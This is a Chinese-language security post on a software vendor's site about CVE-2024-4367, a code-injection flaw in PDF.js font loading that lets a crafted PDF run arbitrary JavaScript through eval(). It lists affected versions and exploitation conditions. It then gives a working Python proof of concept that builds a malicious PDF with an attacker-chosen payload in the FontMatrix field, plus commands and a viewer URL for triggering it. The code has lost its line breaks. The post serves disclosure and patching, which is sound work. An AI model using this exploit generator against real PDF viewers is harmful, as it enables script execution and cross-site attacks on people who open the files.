LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

[点晴永久免费OA]【网络安全】PDF.js在线预览文件插件漏洞曝光

admin
2024年6月25日 22:2 本文热度 1273

0x00 前言

PDF.js 是一个使用 HTML5 构建的便携式文档格式查看器。pdf.js 是社区驱动的,并由 Mozilla 支持。我们的目标是为解析和呈现 PDF 创建一个通用的、基于 Web 标准的平台。

0x01 漏洞描述

在font_loader.js中存在代码注入漏洞,当PDF.js配置isEvalSupported选项设置为true(默认值)时会将输入传递到eval()函数,攻击者可通过诱导用户打开恶意PDF文件来利用漏洞,成功利用漏洞可以执行任意JavaScript。

0x02 CVE编号

CVE-2024-4367

0x03 影响版本

Mozilla PDF.js < 4.2.67

pdfjs-dist(npm) < 4.2.67

react-pdf(npm) < 7.7.3

8.0.0 <= react-pdf(npm) < 8.0.2

0x04 漏洞详情

参见下方链接

https://github.com/mozilla/pdf.js/security/advisories/GHSA-wgrm-67xf-hhpq

0x05 漏洞复现

利用要求:


目标服务器是通过pdf.js插件打开pdf格式文件的,能传pdf到目标服务器,能找到上传的pdf路径,能通过pdf.js查看上传的pdf文件。

POC

import ioimport sys# CVE-2024-4367def create_malicious_pdf(filename, payload):    print("[*] POC Generated")    pdf_content = f'''%PDF-1.4%8 0 obj<</PatternType 2/Shading<<  /Function<<    /Domain[0 1]    /C0[0 0 1]    /C1[1 0.6 0]    /N 1    /FunctionType 2  >>  /ShadingType 2  /Coords[46 400 537 400]  /Extend[false false]  /ColorSpace/DeviceRGB>>/Type/Pattern>>endobj5 0 obj<</Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]/Type/Font/BaseFont/PAXEKO+SourceSansPro-Bold/LastChar 102/Encoding/WinAnsiEncoding/FontMatrix [0.1 0 0 0.1 0 (1\); \n{payload}]/Subtype/Type1/FirstChar 65/FontDescriptor 9 0 R>>endobj2 0 obj<</Kids[3 0 R]/Type/Pages/Count 1>>endobj9 0 obj<</Type/FontDescriptor/ItalicAngle 0/Ascent 751/FontBBox[-6 -12 579 713]/FontName/PAXEKO+SourceSansPro-Bold/StemV 100/CapHeight 713/Flags 32/FontFile3 10 0 R/Descent -173/MissingWidth 250>>endobj6 0 obj<</Length 128>>stream47 379 489 230 re S/Pattern csBT  50 500 Td  117 TL  /F1 150 Tf  /P1 scn  (AbCdEf) Tj  /P2 scn  (AbCdEf) 'ETendstreamendobj3 0 obj<</Type/Page/Resources 4 0 R/Contents 6 0 R/Parent 2 0 R/MediaBox[0 0 595.2756 841.8898]>>endobj10 0 obj<</Length 800/Subtype/Type2>>stream
endstreamendobj7 0 obj<</PatternType 1/Matrix[1 0 0 1 50 0]/Length 58/TilingType 1/BBox[0 0 16 16]/YStep 16/PaintType 1/Resources<<>>/XStep 16>>stream0.65 g0 0 16 16 re f0.15 g0 0 8 8 re f8 8 8 8 re fendstreamendobj4 0 obj<</Pattern<<  /P1 7 0 R  /P2 8 0 R>>/Font<<  /F1 5 0 R>>>>endobj1 0 obj<</Pages 2 0 R/Type/Catalog/OpenAction[3 0 R /Fit]>>endobj
xref0 110000000000 65535 f 0000002260 00000 n 0000000522 00000 n 0000000973 00000 n 0000002178 00000 n 0000000266 00000 n 0000000794 00000 n 0000001953 00000 n 0000000015 00000 n 0000000577 00000 n 0000001085 00000 n trailer<</ID[(w4f) (w4f)]/Root 1 0 R/Size 11>>startxref2333%%EOF'''    with io.FileIO(filename, "wb") as file:        file.write(pdf_content.encode())
if __name__ == "__main__":    if len(sys.argv) != 3:        print('''Usage: python poc.py malicious.pdf "alert\('S4vvy')"''')        sys.exit(1)    filename = sys.argv[1]    custom_payload = sys.argv[2]    create_malicious_pdf(filename, custom_payload)

搭建PDF.js插件

详情参见下方链接

https://blog.csdn.net/meisnb/article/details/115183049

运行poc程序:

python poc.py test.pdf "alert\('xss')"

http://127.0.0.1/DPFjs/web/viewer.html?file=http://127.0.0.1/malicious.pdf


0x06 参考链接

https://github.com/mozilla/pdf.js/security/advisories/GHSA-wgrm-67xf-hhpqhttps://github.com/s4vvysec/CVE-2024-4367-POChttps://cloud.tencent.com/developer/article/2419680


该文章在 2024/6/25 22:05:23 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved